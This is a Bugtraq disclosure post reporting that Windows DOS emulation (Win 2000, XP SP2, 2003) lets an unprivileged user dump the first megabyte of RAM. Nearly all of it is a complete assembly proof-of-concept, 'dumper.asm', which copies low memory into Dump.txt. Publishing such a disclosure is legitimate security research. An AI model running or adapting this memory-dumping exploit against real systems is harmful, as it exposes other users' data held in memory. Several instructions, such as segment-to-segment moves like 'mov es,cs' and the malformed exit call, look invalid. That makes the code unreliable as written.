Bugtraq: Windows mem leakage

[endrazine () pulltheplug org]

Desc : Windows Dos emulation allows dumping of first 1 Mo of RAM (with no
particular privilege).

Tested under : Win 2000, XP SP2, 2003

Code :

;---------------- [ dumper.asm ]-----------------------------------------
; Dump first 1 Mo of memory under any MS product
; 1 Mo is the maximum quantity of accessible memory
; in real mode using 16b OSes.
;
; endrazine, last update : 30/12/2005
;
;-------------------------------------------------------------------------

code segment
        org 100h
        assume ds:code, es:code, cs:code


        xor ax,ax
        mov si,ax

start:
        mov ah, 09h
        mov dx,offset welcome
        int 21h

        xor ax,ax              ;Wait until key pressed
        int 16h


        mov ah, 3ch                 ; MS DOS Create file Function
        mov dx, offset fname
        xor cx,cx
        int 21h


        mov ax, 3d01h               ; MS DOS Open file Function
        int 21h
        mov handle,ax


        xor ax,ax
        mov ds,ax
        mov myds,ds
        mov cx,32

dabigloop:
        push cx

        xor ax,ax
        mov si,ax

        ;==destination==
        mov di,offset buffer
        mov es,cs

        ;==compteur==
        mov cx,16384

        ;==copy==
        rep movsw

        mov ds,cs

        xor ax,ax
        mov ah, 40h
        mov bx,handle
        mov cx,32768; +10
        mov dx, offset buffer
        int 21h

        mov ax,myds
;add ax,2047 ;repeat last 16b
        add ax,2048
        mov myds,ax
        mov ds,ax

        pop cx

        loop dabigloop

        mov ax,4ch                  ; Quit
        int 21h


myds dw ?
handle dw ?
welcome db '[ Raw Dos Memory Dumper ]',10,13
        db '',10,13
        db '[ coded by endrazine ]',10,13
        db '',10,13
        db '[ Dumping First Memory chunk to Dump.txt ]',10,13
        db 'Press any key$',10,13
fname db 'Dump.txt',0
buffer db 32768 dup ?
some_canari_separator db '//////////',0
end start

end


;------------------------------------------------------------------------



Endrazine-